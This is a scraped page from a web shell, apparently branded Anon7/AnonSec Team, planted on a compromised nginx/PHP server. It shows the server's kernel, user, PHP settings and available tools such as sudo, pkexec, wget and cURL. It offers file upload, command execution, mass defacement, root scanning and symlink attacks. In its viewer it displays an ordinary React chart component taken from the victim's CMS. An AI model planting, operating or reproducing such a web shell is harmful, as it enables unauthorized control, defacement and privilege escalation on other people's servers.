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/  Your IP : 104.23.243.117   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/iqos-cx/cms/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/iqos-cx/cms/components/GrowChartComponents.jsx
"use client";

import { useMemo } from "react";
import Chart from "react-apexcharts";

const GrowChartComponents = ({ labels = [], series = [] }) => {
    const options = useMemo(() => {
        // Definisikan warna untuk kolom
        const flavorColors = [
            "#0C9488", "#16B7A6", "#5FE9D5", "#96F4E5",
            "#7060A5", "#9488BC", "#B8B0D2", "#DBD7E8",
            "#F78A33", "#F9A766", "#FBC499", "#FDE2CC",
            "#AB312E", "#C06562", "#D59896", "#EACCCB",
            "#703126", "#94655C", "#B89892", "#DBCCC9",
        ];

        // Tambahkan warna khusus untuk line chart
        const customLineColor = "#F39D63";

        // Buat array warna dengan flavorColors + warna khusus untuk line
        const chartColors = series.map((s) =>
            s.type === "line" ? customLineColor : flavorColors.shift() || "#cccccc"
        );

        return {
            chart: {
                type: "line",
                stacked: true,
                toolbar: {
                    show: false,
                },
            },
            stroke: {
                width: series.map((s) => (s.type === "line" ? 3 : 0)),
                curve: "smooth",
            },
            markers: {
                size: 5,
                strokeWidth: 2,
                strokeColors: "#ffffff",
                fillOpacity: 1,
                shape: "circle",
                hover: {
                    size: 7,
                },
            },
            plotOptions: {
                bar: {
                    columnWidth: "40%",
                    horizontal: false,
                },
            },
            dataLabels: {
                enabled: true,
                formatter: (val, opts) => {
                    // Hanya tampilkan nilai untuk garis (line chart)
                    if (series[opts.seriesIndex].type === "line") {
                        return val;
                    }
                    return ""; // Tidak tampilkan nilai untuk jenis lain
                },
                style: {
                    fontSize: "12px",
                    fontWeight: "bold",
                    colors: ["#F2985A"],
                },
                offsetY: -10, // Posisikan label di atas garis
                background: {
                    enabled: true,
                    foreColor: "#fff", // Warna teks
                    backgroundColor: "#F2985A", // Warna kotak diubah menjadi #F2985A
                    borderRadius: 2,
                    padding: 4,
                    borderWidth: 0,
                },
            },
            legend: {
                position: "top",
            },
            colors: chartColors, // Mengatur warna untuk kolom dan garis
            xaxis: {
                categories: labels, // Menggunakan labels sebagai tanggal
            },
            grid: {
                show: true,
            },
            fill: {
                opacity: 1,
            },
            tooltip: {
                custom: ({ series, seriesIndex, dataPointIndex, w }) => {
                    let tooltipContent = `<div style="padding: 6px; font-size: 11px; line-height: 14px; font-family: Arial, sans-serif;">`;
                    tooltipContent += `<div style="font-weight: bold; margin-bottom: 4px;">${labels[dataPointIndex]}</div>`;

                    // Loop untuk setiap series
                    w.config.series.forEach((s, i) => {
                        const value = series[i][dataPointIndex];
                        if (value !== null) {
                            tooltipContent += `
                                <div style="display: flex; align-items: center; gap: 4px; margin-bottom: 2px;">
                                    <div style="width: 8px; height: 8px; background-color: ${w.config.colors[i]}; border-radius: 50%;"></div>
                                    <div style="flex: 1;">${s.name}:</div>
                                    <div style="font-weight: bold;">${value}</div>
                                </div>
                            `;
                        }
                    });

                    tooltipContent += `</div>`;
                    return tooltipContent;
                },
            },
        };
    }, [labels, series]);

    const chartKey = useMemo(() => {
        const randomString = Array(20)
            .fill(0)
            .map(() => Math.random().toString(36).charAt(2))
            .join("");
        return `${randomString}-${labels.length}-${series.length}`;
    }, [labels, series]);

    return (
        <Chart
            key={chartKey}
            options={options}
            series={series}
            type="line"
            height="400"
        />
    );
};

export default GrowChartComponents;

Anon7 - 2022
AnonSec Team